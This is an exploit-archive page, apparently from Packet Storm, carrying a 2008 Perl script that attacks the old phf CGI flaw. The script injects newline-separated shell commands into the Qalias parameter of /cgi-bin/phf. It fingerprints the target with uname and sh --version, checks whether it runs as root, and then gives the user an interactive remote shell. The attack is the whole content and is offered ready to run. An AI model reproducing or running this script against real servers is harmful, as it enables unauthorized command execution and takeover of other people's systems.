seeing is believing

New Twist On The Old PHF Vulnerability

New Twist On The Old PHF Vulnerability
Posted Dec 30, 2008
Authored by Oxagast

New script that exploits the very, very, very old phf vulnerability.

tags | exploit
MD5 | dc516750512a332a8aa79438c7238407

New Twist On The Old PHF Vulnerability

Change Mirror Download
#!/usr/bin/perl

# greets to josh arielle matt carley

use WWW::Mechanize;
if (scalar(@ARGV) < 1) {
print "\n --=== PHF00z3 by Oxagast ===--\n\n";
print " useage: ./$0 hostname\n\n";
print " Play Nice :)\n";
exit();
}
$scrape = WWW::Mechanize->new(timeout => 3);
print "Connecting...\n";
print "Checking if exploitable...\n";
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Auname%20-a");
$unamea = $scrape->content();
@unameafeed = split(/\n/, $unamea);
for $stupidpres (0..scalar(@unameafeed)) {
if (@unameafeed[$stupidpres] =~ m/<PRE>/) {
$realunamea = @unameafeed[$stupidpres+1];
}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Ash%20--version");
$shver = $scrape->content();
@shverfeed = split(/\n/, $shver);
for $stupidpres (0..scalar(@shverfeed)) {
if (@shverfeed[$stupidpres] =~ m/<PRE>/) {
@shverfeed[$stupidpres+1] =~ m/version (\d+\.\d)/;
if ($1 ne "") {
$realshver = "sh-$1";
}
}
}
$scrape->get("http://@ARGV[0]/cgi-bin/phf?Qalias=%0Als%20%20/bin");
$scraped = $scrape->content();
if($scraped =~ /chmod/m) {
if($scraped =~ /mkdir/m) {
if($scraped =~ /stty/m) {
$startup = 1;
$rootus = 0;
while (0 < 1) {
if ($startup == 1) {
$cmd = "id";

}
if ($startup == 0) {
if ($rootus == 0) {
print "$realshver\$ ";
}
if ($rootus == 1) {
print "$realshver\# ";
}
$cmd = <STDIN>;
}
$scrape->get("http:\/\/@ARGV[0]/cgi-bin/phf?Qalias=%0A$cmd");
$scraped = $scrape->content();
@feedback = split(/\n/, $scraped);
for $line (0..scalar(@feedback)) {
if (@feedback[$line] eq "<PRE>") {
$outs = $line + 1;
}
}
for $outline ($outs..scalar(@feedback)-2) {
if ($startup == 1) {
if (@feedback[$outline] =~ /\(root\)/) {
print "OOooooo now look what we have here... :P r00t\n";
print "$realunamea\n";
$rootus = 1;
}
else {
print "We got ourselves a shell... :)\n";
print "$realunamea\n";
}
}
print "@feedback[$outline]\n";
$startup = 0;
}
}
}
}
}

else {
print "OOps, doesn't look like she's vulnerable. :(\n";
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    5 Files
  • 2
    Sep 2nd
    5 Files
  • 3
    Sep 3rd
    3 Files
  • 4
    Sep 4th
    13 Files
  • 5
    Sep 5th
    16 Files
  • 6
    Sep 6th
    15 Files
  • 7
    Sep 7th
    20 Files
  • 8
    Sep 8th
    16 Files
  • 9
    Sep 9th
    4 Files
  • 10
    Sep 10th
    2 Files
  • 11
    Sep 11th
    15 Files
  • 12
    Sep 12th
    19 Files
  • 13
    Sep 13th
    20 Files
  • 14
    Sep 14th
    38 Files
  • 15
    Sep 15th
    31 Files
  • 16
    Sep 16th
    1 Files
  • 17
    Sep 17th
    7 Files
  • 18
    Sep 18th
    15 Files
  • 19
    Sep 19th
    40 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close